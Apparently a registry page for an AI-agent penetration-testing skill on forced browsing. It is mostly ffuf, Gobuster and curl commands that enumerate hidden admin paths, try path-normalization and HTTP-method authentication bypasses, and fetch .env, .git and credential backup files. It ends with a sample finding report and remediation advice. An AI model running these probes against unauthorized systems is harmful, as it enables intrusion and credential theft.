Discovering and accessing unprotected pages, APIs, and administrative interfaces by enumerating URLs and bypassing authentication controls during authorized security assessments.
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Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionbypassing-authentication-with-forced-browsingExecute the skills CLI command in your project's root directory to begin installation:
Fetches bypassing-authentication-with-forced-browsing from mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate bypassing-authentication-with-forced-browsing. Access via /bypassing-authentication-with-forced-browsing in your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
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| name | bypassing-authentication-with-forced-browsing |
| description | Discovering and accessing unprotected pages, APIs, and administrative interfaces by enumerating URLs and bypassing authentication controls during authorized security assessments. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | - penetration-testing - authentication-bypass - forced-browsing - ffuf - directory-enumeration - owasp |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
go install github.com/ffuf/ffuf/v2@latest)apt install gobuster)git clone https://github.com/danielmiessler/SecLists.git)Use ffuf or Gobuster to discover paths not linked in the application's navigation.
# Directory enumeration with ffuf
ffuf -u https://target.example.com/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-mc 200,301,302,403 \
-fc 404 \
-o results-dirs.json -of json \
-t 50 -rate 100
# File enumeration with common extensions
ffuf -u https://target.example.com/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
-e .php,.asp,.aspx,.jsp,.html,.js,.json,.xml,.bak,.old,.txt,.cfg,.conf,.env \
-mc 200,301,302,403 \
-fc 404 \
-o results-files.json -of json \
-t 50 -rate 100
# Gobuster for directory enumeration
gobuster dir -u https://target.example.com \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-s "200,204,301,302,307,403" \
-x php,asp,aspx,jsp,html \
-o gobuster-results.txt \
-t 50
Target common administrative paths and debug endpoints.
# Admin panel enumeration
ffuf -u https://target.example.com/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc 200,301,302 \
-t 50 -rate 100
# Common admin paths to check manually:
# /admin, /administrator, /admin-panel, /wp-admin
# /cpanel, /phpmyadmin, /adminer, /manager
# /console, /debug, /actuator, /swagger-ui
# /graphql, /graphiql, /.env, /server-status
# API endpoint discovery
ffuf -u https://target.example.com/api/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,204,301,302,401,403 \
-fc 404 \
-o api-results.json -of json
# Check for Spring Boot Actuator endpoints
for endpoint in env health info beans configprops mappings trace; do
curl -s -o /dev/null -w "%{http_code} /actuator/$endpoint\n" \
"https://target.example.com/actuator/$endpoint"
done
Compare responses between unauthenticated and authenticated requests.
# Test without authentication
curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com/admin/dashboard"
# Test with valid session cookie
curl -s -o /dev/null -w "%{http_code}" \
-b "session=valid_session_token_here" \
"https://target.example.com/admin/dashboard"
# Automated check: compare response sizes
# Unauthenticated request
curl -s "https://target.example.com/admin/users" | wc -c
# Authenticated request
curl -s -b "session=valid_token" \
"https://target.example.com/admin/users" | wc -c
# If both return similar content, authentication is not enforced
# Test with Burp Intruder: send a list of discovered URLs
# without cookies and flag any 200 responses
Some applications only enforce authentication for specific HTTP methods.
# Test different HTTP methods on protected endpoints
for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE; do
echo -n "$method: "
curl -s -o /dev/null -w "%{http_code}" \
-X "$method" "https://target.example.com/admin/settings"
done
# Test HTTP method override headers
curl -s -o /dev/null -w "%{http_code}" \
-X POST \
-H "X-HTTP-Method-Override: GET" \
"https://target.example.com/admin/settings"
curl -s -o /dev/null -w "%{http_code}" \
-H "X-Original-Method: GET" \
-H "X-Rewrite-URL: /admin/settings" \
"https://target.example.com/"
Exploit URL parsing differences to bypass path-based authentication rules.
# Path normalization bypass attempts
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/ADMIN/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/./dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/public/../admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin%2fdashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/;/admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin;anything/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/.;/admin/dashboard"
# Double URL encoding
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/%2561dmin/dashboard"
# Trailing characters
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard/"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard.json"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard%00"
Search for sensitive files inadvertently exposed on the web server.
# Backup file discovery
ffuf -u https://target.example.com/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
-e .bak,.old,.orig,.save,.swp,.tmp,.dist,.config,.sql,.gz,.tar,.zip \
-mc 200 -t 50 -rate 100
# Common sensitive files
for file in .env .git/config .git/HEAD .svn/entries \
web.config wp-config.php.bak config.php.old \
database.yml .htpasswd server-status phpinfo.php \
robots.txt sitemap.xml crossdomain.xml; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
"https://target.example.com/$file")
if [ "$status" != "404" ]; then
echo "FOUND ($status): $file"
fi
done
# Git repository exposure check
curl -s "https://target.example.com/.git/HEAD"
# If this returns "ref: refs/heads/main", the git repo is exposed
| Concept | Description |
|---|---|
| Forced Browsing | Directly accessing URLs that are not linked but exist on the server |
| Directory Enumeration | Brute-forcing directory and file names against a wordlist to discover hidden content |
| Authentication Bypass | Accessing protected resources without valid credentials due to missing access checks |
| Path Normalization | Exploiting differences in how web servers and application frameworks parse URL paths |
| Method-based Bypass | Using alternative HTTP methods (PUT, DELETE) that may not have authentication checks |
| Information Disclosure | Exposure of sensitive configuration files, backups, or debug interfaces |
| Defense in Depth | Layered security controls where authentication is enforced at multiple levels |
| Tool | Purpose |
|---|---|
| ffuf | Fast web fuzzer for directory, file, and parameter enumeration |
| Gobuster | Directory and DNS brute-forcing tool written in Go |
| Feroxbuster | Recursive content discovery tool with automatic recursion |
| DirBuster | OWASP Java-based directory brute-force tool with GUI |
| Burp Suite | HTTP proxy for request interception and automated scanning |
| SecLists | Comprehensive collection of wordlists for security testing |
An admin panel at /admin/ is only hidden by not being linked in the navigation. Direct URL access reveals the full administrative interface without any authentication check.
API endpoints at /api/v1/users and /api/v1/settings require authentication in the frontend application but the backend API does not enforce session validation, allowing unauthenticated direct access.
A developer left config.php.bak on the production server. This backup file contains database credentials in plaintext, discovered through extension-based enumeration.
The /actuator/env endpoint is exposed without authentication, revealing environment variables including database connection strings, API keys, and secrets.
## Forced Browsing / Authentication Bypass Finding
**Vulnerability**: Missing Authentication on Administrative Interface
**Severity**: Critical (CVSS 9.1)
**Location**: /admin/dashboard (GET, no authentication required)
**OWASP Category**: A01:2021 - Broken Access Control
### Discovered Unprotected Resources
| Path | Status | Auth Required | Content |
|------|--------|---------------|---------|
| /admin/dashboard | 200 | No | Full admin panel |
| /admin/users | 200 | No | User management |
| /actuator/env | 200 | No | Environment variables |
| /config.php.bak | 200 | No | Database credentials |
| /.git/HEAD | 200 | No | Git repository metadata |
### Impact
- Unauthenticated access to administrative functions
- Ability to create, modify, and delete user accounts
- Exposure of database credentials and API keys
- Full source code disclosure via exposed Git repository
### Recommendation
1. Implement authentication checks at the server/middleware level for all admin routes
2. Remove backup files, debug endpoints, and version control metadata from production
3. Configure web server to deny access to sensitive file extensions (.bak, .old, .env, .git)
4. Implement IP-based access restrictions for administrative interfaces
5. Use a reverse proxy to restrict access to internal-only endpoints
Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
bypassing-authentication-with-forced-browsing fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
Solid pick for teams standardizing on skills: bypassing-authentication-with-forced-browsing is focused, and the summary matches what you get after install.
bypassing-authentication-with-forced-browsing is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
We added bypassing-authentication-with-forced-browsing from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
Keeps context tight: bypassing-authentication-with-forced-browsing is the kind of skill you can hand to a new teammate without a long onboarding doc.
Registry listing for bypassing-authentication-with-forced-browsing matched our evaluation — installs cleanly and behaves as described in the markdown.
bypassing-authentication-with-forced-browsing fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
bypassing-authentication-with-forced-browsing reduced setup friction for our internal harness; good balance of opinion and flexibility.
I recommend bypassing-authentication-with-forced-browsing for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
bypassing-authentication-with-forced-browsing has been reliable in day-to-day use. Documentation quality is above average for community skills.
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